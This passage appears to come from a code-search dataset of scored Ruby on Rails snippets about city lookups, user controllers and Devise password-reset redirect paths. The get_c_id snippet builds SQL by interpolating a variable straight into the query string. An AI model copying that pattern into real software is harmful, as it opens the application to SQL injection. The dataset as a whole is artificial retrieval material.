don't have access to this section.\" \n redirect_to '/'\n return\n end\n @user_detail = UserDetail.new\n @cities_first = GeoinfoCity.where(:state_id => '2').find :all, :order => \"name asc\"\n @selected_city = nil\n logger.info @cities_first\n if @user_detail.city_id\n @selected_city = GeoinfoCity.find(@user_detail.city_id)\n\n end\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_detail }\n end\n end", "title": "" }, { "docid": "c506397e15caa14fe826015f67fbd8d6", "score": "0.5801073", "text": "def set_city_state\n @city_state = CityState.find(params[:id])\n end", "title": "" }, { "docid": "944fb3a29e109e5ba19d58c361375759", "score": "0.5785682", "text": "def set_lawyer_city\n @lawyer_city = LawyerCity.find(params[:id])\n end", "title": "" }, { "docid": "354bf1587d1b910b3a433da2449b6b3a", "score": "0.5783117", "text": "def get_c_id\n \n sql = \"SELECT COUNT(*)\n FROM cities\n WHERE city_name = '#{@city.to_s}'\"\n\n ans = db.execute(sql).map{|i| i[0] == 0 ? nil : 1 }[0]\n \n if ans \n sql = \"SELECT city_id\n FROM cities\n WHERE city_name = '#{@city.to_s}'\"\n @c_id = db.execute(sql).map{|i| i}[0][0] \n say(\"Selected city_id for city - #{@city}\")\n else\n aborts(\"\\nPassed city does not exist in cities table,Clue city: #{@city}\\n\\n\") \n end\n \n end", "title": "" }, { "docid": "abda217bafe0705757f6138032056d15", "score": "0.5748145", "text": "def create\n city = Post.new(city_params)\n city.user_id = user_id\n if city.save\n redirect_to user_path user.username\n end\n end", "title": "" }, { "docid": "35f4175b1f3ca5a42a5fdad2efb7affe", "score": "0.57465357", "text": "def show \n @user = User.friendly.find(params[:id]) \n @city = City.friendly.find(params[:city_id])\n @conversation = Mailboxer::Conversation.new\n if @user.admin? \n redirect_to city_basic_profile_path(@city, @user)\n else \n @user_reviews = @user.department_reviews\n @user_wul = @user.city_review\n @user_comments = @user.comments\n @ownership = @user.ownership\n @persistence = @user.persistence \n @communication = @user.communication\n @gratitude = @user.gratitude\n @user_votes = ActsAsVotable::Vote.where(voter_id: @user.id)\n end \n end", "title": "" }, { "docid": "028f07923e9e3188cfb83572e328bbf5", "score": "0.5745232", "text": "def set_graphium_city\n @graphium_city = Graphium::City.find(params[:id])\n end", "title": "" }, { "docid": "de758dd971289ad5caba783d96be06ae", "score": "0.5733355", "text": "def get_city\n @single_city_data[\"name\"]\n end", "title": "" }, { "docid": "f3f89ad809123dd24a1a0dcbda99cd5d", "score": "0.5730145", "text": "def current_city_text\n city = ChinaCity.get(self.city)\n city = ChinaCity.get(self.province) if %w(市辖区 县).include?(city)\n city\n end", "title": "" }, { "docid": "6a944db91129e0ca03cdac6941d5c766", "score": "0.57175845", "text": "def org\n user_id.present? ? User.includes(:org).find_by(id: user_id).org : nil\n end", "title": "" }, { "docid": "14650bc2db5d1974f6b42718c363e317", "score": "0.570915", "text": "def set_city_area\n @city_area = CityArea.friendly.find(params[:id])\n end", "title": "" }, { "docid": "ba6a11e7c1284c6cd4b8f296ea319dd8", "score": "0.57083154", "text": "def selected_card\n # it will return nil if no customers || customer\n self.customers.where(\"is_selected=?\", true).try(:first) \n end", "title": "" }, { "docid": "87e4520998d8f927cbd46b5b0c0949aa", "score": "0.5688323", "text": "def city; end", "title": "" }, { "docid": "87e4520998d8f927cbd46b5b0c0949aa", "score": "0.5688323", "text": "def city; end", "title": "" }, { "docid": "87e4520998d8f927cbd46b5b0c0949aa", "score": "0.56874686", "text": "def city; end", "title": "" }, { "docid": "87e4520998d8f927cbd46b5b0c0949aa", "score": "0.56874686", "text": "def city; end", "title": "" }, { "docid": "87e4520998d8f927cbd46b5b0c0949aa", "score": "0.56874686", "text": "def city; end", "title": "" }, { "docid": "87e4520998d8f927cbd46b5b0c0949aa", "score": "0.56874686", "text": "def city; end", "title": "" }, { "docid": "5cedb82f8ce6202aed6c79832aa6798c", "score": "0.5679098", "text": "def get_college\n x = self.college_id\n y = College.find_by_id(x)\n return y ? y : nil\n end", "title": "" }, { "docid": "58b4146322ef61b2e8a89dfd509b0f26", "score": "0.56750673", "text": "def save_city\n user = current_user\n params.permit(:name, :country_name, :province_name, :state_name, :country_id, :province_id, :state_id, :id, :name, :access_token, :state)\n if user.admin?\n if !(params[:name].nil? || params[:country_name].nil? || params[:province_name].nil? || params[:state_name].nil?)\n city = City.where(\n name: params[:name],\n country_name: params[:country_name],\n province_name: params[:province_name],\n state_name: params[:state_name]).first\n if (city.nil?) # Insert\n city = City.new(\n name: params[:name],\n country_id: BSON::ObjectId.from_string(params[:country_id]),\n country_name: params[:country_name],\n province_id: BSON::ObjectId.from_string(params[:province_id]),\n province_name: params[:province_name],\n state_id: BSON::ObjectId.from_string(params[:state_id]),\n state_name: params[:state_name])\n if city.save\n render json: {status: 'SUCCESS', message:'Saved City', data:city},status: :ok\n else\n render json: {status: 'ERROR', message:'City not saved', data: nil},status: :unprocessable_entity\n end\n else\n render json: {status: 'ERROR', message:'City already exists', data: city},status: :unprocessable_entity\n end\n end \n elsif user.admin_country?\n if !(params[:name].nil? || params[:country_name].nil? || params[:province_name].nil? || params[:state_name].nil?)\n city = City.where(\n name: params[:name],\n country_name: params[:country_name],\n province_name: params[:province_name],\n state_name: params[:state_name]).first\n if (city.nil?) # Insert\n if (user['country_id'] == BSON::ObjectId.from_string(params[:country_id]))\n city = City.new(\n name: params[:name],\n country_id: BSON::ObjectId.from_string(params[:country_id]),\n country_name: params[:country_name],\n province_id: BSON::ObjectId.from_string(params[:province_id]),\n province_name: params[:province_name],\n state_id: BSON::ObjectId.from_string(params[:state_id]),\n state_name: params[:state_name])\n if city.save\n render json: {status: 'SUCCESS', message:'Saved City', data:city},status: :ok\n else\n render json: {status: 'ERROR', message:'City not saved', data: nil},status: :unprocessable_entity\n end\n else\n render json: {status: 'ERROR', message:'Action not allowed', data: nil},status: :unprocessable_entity \n end\n else\n render json: {status: 'ERROR', message:'City already exists', data: city},status: :unprocessable_entity\n end\n end \n end \n end", "title": "" }, { "docid": "0d9cf40ffd9e1b95d6b4137b64abbebb", "score": "0.5668458", "text": "def active_in?(city)\n self.player_cities.\n where(:city_id => city.id).\n present?\n end", "title": "" }, { "docid": "ca588150b136f6efd41c0cff5569609c", "score": "0.5662546", "text": "def current_cities\n if current_user.try(:admin?)\n Event.uniq.pluck(:city)\n else\n Event.where(status: \"Approved\").uniq.pluck(:city)\n end\n end", "title": "" }, { "docid": "cfc1fe385c3e3aad61f6a5c5a71656cc", "score": "0.5660815", "text": "def set_ezii_city\n @ezii_city = EziiCity.find(params[:id])\n end", "title": "" }, { "docid": "bfc5b0fbf4c7ec1604df8493617f2839", "score": "0.56605095", "text": "def city\n if !session[:user_id].nil?\n if params[:city] == \"new\"\n redirect_to :controller => :listings, :action => :req\n else\n if params[:city] == \"sf\"\n @city = \"San Francisco\"\n elsif params[:city] == \"ny\"\n @city = \"New York\"\n end\n @listings = Listing.find_all_by_city(@city)\n @categories ||= Array.new\n @listings.each do |l|\n if(!@categories.include?(l.category))\n @categories.push(l.category)\n end\n end\n end\n else\n redirect_to :controller => :user, :action => :login\n end\n end", "title": "" } ]
4eeb485be5e5849540a725c22674db93
This method can be overriden by other classes
[ { "docid": "73ab0477e07c9810c589d0689a9e2656", "score": "0.0", "text": "def build_links_for_this_media_type(transition)\n link = if transition.templated?\n { href: transition.templated_uri, templated: true }\n else\n { href: transition.uri }\n end\n [:name, :profile].each { |key| link[key] = transition[key] if transition.has_key?(key) }\n link\n end", "title": "" } ]
[ { "docid": "2290804b238fc95bfd6b38f87c6d2895", "score": "0.80488205", "text": "def override; end", "title": "" }, { "docid": "e6431ff47476c9014fb64198d5853e1e", "score": "0.73321444", "text": "def overrides; end", "title": "" }, { "docid": "e6431ff47476c9014fb64198d5853e1e", "score": "0.73321444", "text": "def overrides; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.7156364", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.7156364", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.7156364", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.7156364", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.7156364", "text": "def implementation; end", "title": "" }, { "docid": "baabe5bb658b17a85353fb66fdbbf873", "score": "0.6931017", "text": "def extended; end", "title": "" }, { "docid": "170e7cc6f3b91fc8d88704f0d36db709", "score": "0.69233316", "text": "def initialize; super; end", "title": "" }, { "docid": "7d3206fdee515addbaa426dffb5132aa", "score": "0.6836497", "text": "def method\n raise NotImplementedError, 'Define this method on the child classes'\n end", "title": "" }, { "docid": "c3285b979f713395f60cf13edce8a310", "score": "0.6778506", "text": "def methodmissing; end", "title": "" }, { "docid": "d509f8cefdd8fc87fefabff3705478b5", "score": "0.6754347", "text": "def custom\n \n end", "title": "" }, { "docid": "003f93545faf95741b6daf49b5599d9c", "score": "0.6730851", "text": "def _self; end", "title": "" }, { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.6730704", "text": "def desired; end", "title": "" }, { "docid": "a3e329e0268db7585a7bbd600993dd42", "score": "0.6721534", "text": "def init\n #Override in subclass\n end", "title": "" }, { "docid": "a3e329e0268db7585a7bbd600993dd42", "score": "0.6721534", "text": "def init\n #Override in subclass\n end", "title": "" }, { "docid": "a3e329e0268db7585a7bbd600993dd42", "score": "0.6721534", "text": "def init\n #Override in subclass\n end", "title": "" }, { "docid": "f466bb6c7455ea8d2d5ecdd1b8896422", "score": "0.6652508", "text": "def initialize\n super\n end", "title": "" }, { "docid": "f466bb6c7455ea8d2d5ecdd1b8896422", "score": "0.6652508", "text": "def initialize\n super\n end", "title": "" }, { "docid": "f466bb6c7455ea8d2d5ecdd1b8896422", "score": "0.6652508", "text": "def initialize\n super\n end", "title": "" }, { "docid": "465936ef29dc887acdb2e6cb1a0a85f3", "score": "0.66495657", "text": "def initialize\n super\n end", "title": "" }, { "docid": "43eb008058b525fad99cb28cd2cb7087", "score": "0.66469824", "text": "def inspect; super; end", "title": "" }, { "docid": "d32d079ac77d92cda0a4952da5bac293", "score": "0.6642814", "text": "def initialize\n super\n end", "title": "" }, { "docid": "d32d079ac77d92cda0a4952da5bac293", "score": "0.6642814", "text": "def initialize\n super\n end", "title": "" }, { "docid": "d32d079ac77d92cda0a4952da5bac293", "score": "0.6642814", "text": "def initialize\n super\n end", "title": "" }, { "docid": "54a6d578905ca36fce1f2875117abb14", "score": "0.66063446", "text": "def init\n super\n end", "title": "" }, { "docid": "8b608597e4f8cb342968a26900959e68", "score": "0.6567403", "text": "def extended?; end", "title": "" }, { "docid": "5ae0c8c5fe36a105c48e0f452d892085", "score": "0.6565918", "text": "def initialize\n super(true)\n end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.6565338", "text": "def internal; end", "title": "" }, { "docid": "f8877e8a5e4afd637fc06584527bff92", "score": "0.65555245", "text": "def api\n raise NotImplementedError\n end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.6548183", "text": "def initialize\n super\n end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.6548183", "text": "def initialize\n super\n end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.6548183", "text": "def initialize\n super\n end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.6548183", "text": "def initialize\n super\n end", "title": "" }, { "docid": "6a003d403052afd600147e4ea1b664dc", "score": "0.6540755", "text": "def initialize(_)\n super()\n end", "title": "" }, { "docid": "75f52a8d4eb4a5a5e38825f4d1941496", "score": "0.6535824", "text": "def call\n raise NotImplementedError, 'Please implement in a subclass'\n end", "title": "" }, { "docid": "d1ce814d963fb341cec479719f3c1875", "score": "0.65200245", "text": "def data; super; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.64959615", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.64959615", "text": "def used; end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.6494902", "text": "def telegraphical()\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6491722", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.64917004", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" }, { "docid": "e3ee41dcc4c16d810f48d9d372dbee77", "score": "0.6490352", "text": "def initialize()\n super\n end", "title": "" } ]
04f6d1856b3b33e6bd7e4c8ddc1c003c
The path used after sending reset password instructions
[ { "docid": "443138e8518fe290431930e2413049a8", "score": "0.6859601", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name)\n end", "title": "" } ]
[ { "docid": "bfbb10be8df667308140b38ce8b07689", "score": "0.7597539", "text": "def after_sending_reset_password_instructions_path_for\n root_path\n end", "title": "" }, { "docid": "85bf394fbd5399fd2604a763b93c5bd5", "score": "0.7575779", "text": "def error_path\n Rails.application.routes.url_helpers.reset_passwords_path\n end", "title": "" }, { "docid": "2d0eb1164a9d0b3826466c40641dd54c", "score": "0.74846065", "text": "def after_sending_reset_password_instructions_path_for(_resource_name)\n root_path\n end", "title": "" }, { "docid": "2d0eb1164a9d0b3826466c40641dd54c", "score": "0.74846065", "text": "def after_sending_reset_password_instructions_path_for(_resource_name)\n root_path\n end", "title": "" }, { "docid": "363e7beedbb7b669d37d49430b124a55", "score": "0.7477702", "text": "def after_sending_reset_password_instructions_path_for(_resource_name)\n # super(resource_name)\n root_path\n end", "title": "" }, { "docid": "c42bd239921b5e0843544d3c1291d531", "score": "0.74567354", "text": "def after_sending_reset_password_instructions_path_for(_resource)\n root_url\n end", "title": "" }, { "docid": "c84d52dbbc7f09508e640dbee359b3e1", "score": "0.74413186", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n root_path \n end", "title": "" }, { "docid": "c0edb2ff61af39e6f9cd7d559c90cb1f", "score": "0.7420351", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n home_path\n end", "title": "" }, { "docid": "96984d64d072e0f64eae69cbcae80cca", "score": "0.7396182", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n return \"/password-instructions\"\n end", "title": "" }, { "docid": "d22103b438a82d32fbd2839dd4ff6343", "score": "0.735009", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n users_password_send_path\n end", "title": "" }, { "docid": "c85286e6011b4c576d23bc7f6f0dceb2", "score": "0.7302071", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n login_path\n end", "title": "" }, { "docid": "1bf0b483287189ab0baa329260fb5ab9", "score": "0.72851294", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n root_path\n end", "title": "" }, { "docid": "91a691fe4736996403e02eb1549bc00a", "score": "0.72408146", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n root_path(resource_name)\n end", "title": "" }, { "docid": "af3a234b852e0be157d83eee626f8f5b", "score": "0.7212665", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n # new_session_path(resource_name) if is_navigational_format?\n reset_path\n end", "title": "" }, { "docid": "2fd6ecf0cb0d813dd9cf45f79248f034", "score": "0.71258736", "text": "def after_sending_reset_password_instructions_path_for(_resource_name)\n session[:passwords] = { email: resource.email }\n reset_password_sent_path if is_navigational_format?\n end", "title": "" }, { "docid": "cc395aacc50ffd129b7100ecb6e2aea7", "score": "0.70795107", "text": "def after_sending_reset_password_instructions_url(resource)\n root_url\n end", "title": "" }, { "docid": "d0557f96900baa8ef7eb42705342992e", "score": "0.70358825", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name,password_reset_link: 'sent') if is_navigational_format?\n end", "title": "" }, { "docid": "b1032f54f5f709eb8c6135b75f89dfbc", "score": "0.69864523", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name)\n end", "title": "" }, { "docid": "a3bd32f7c61fa5a607823b02ece0434e", "score": "0.69844925", "text": "def after_resetting_password_path_for(resource_name)\n return \"/password-success\"\n end", "title": "" }, { "docid": "cf194fb88ca329f370882328b35ae7e3", "score": "0.6961322", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path\n end", "title": "" }, { "docid": "a2af3285c598ac82f46ecf657594a7dc", "score": "0.69280285", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.6901612", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "a5e6f5e7e5b5794f53afb1ac3a9cb1a3", "score": "0.69013685", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "2e9d6e321c6a49aebbc356dc4ed23fbd", "score": "0.68990755", "text": "def after_resetting_password_path_for(resource)\n root_path(resource)\n end", "title": "" }, { "docid": "f00cc92a540d15cea1905694161ee8f5", "score": "0.68777734", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "f00cc92a540d15cea1905694161ee8f5", "score": "0.68777734", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n end", "title": "" }, { "docid": "2429525901ee0546be8c8091a4bbe4cb", "score": "0.6864044", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n event_path(@event)\n end", "title": "" }, { "docid": "4849abd52c16985a229d9eb764cb297b", "score": "0.6828712", "text": "def password_reset_url(user)\n hex = user.create_password_reset_hash\n \"/reset_password/#{user.id}/#{hex}\"\n end", "title": "" }, { "docid": "f5b962a408faa595c060296f7d93acfb", "score": "0.6826677", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n login_path if is_navigational_format?\n end", "title": "" }, { "docid": "f82dcc5e1bcab2cc2deeb7205e11056a", "score": "0.6785909", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n insert_confirmation_path(:anchor => \"jump\")\n end", "title": "" }, { "docid": "e8fcc32e2e759109eea2d850832896c6", "score": "0.67131555", "text": "def reset_password_link\n App::Config.base_url + \"r/#{self.secret_token}\"\n end", "title": "" }, { "docid": "d1d779a32719da914ba01ecbf4b90111", "score": "0.6708984", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n params[:user][:catering] ? catering_login_path : new_session_path(resource_name)\n end", "title": "" }, { "docid": "2def6826d05fbe8e4ca23af9a3f34547", "score": "0.66882974", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "2def6826d05fbe8e4ca23af9a3f34547", "score": "0.66882974", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "2def6826d05fbe8e4ca23af9a3f34547", "score": "0.66882974", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "2def6826d05fbe8e4ca23af9a3f34547", "score": "0.66882974", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "46173122c86931bd7fe9deaf805b341c", "score": "0.66715616", "text": "def after_resetting_password_path_for(resource)\n Devise.sign_in_after_reset_password ? after_sign_in_path_for(resource) : login_path\n end", "title": "" }, { "docid": "6943029e32d8cefffc573bffccbcf86c", "score": "0.6646398", "text": "def send_reset_password_instructions\n\t\t\n\tend", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "f623f0794dcda5dfd066337e851549fa", "score": "0.66276383", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "989f4a48fb65ac67354778d916b222b8", "score": "0.6603352", "text": "def path\n\t\"/mij/accounts/\" + @email\nend", "title": "" }, { "docid": "0dc0280e9aabd5b825376d63919d2c55", "score": "0.6572177", "text": "def after_password_update_path\n main_app.root_url\n end", "title": "" }, { "docid": "ccdf3588f07da26990ed02d77b8e7fc2", "score": "0.65658545", "text": "def 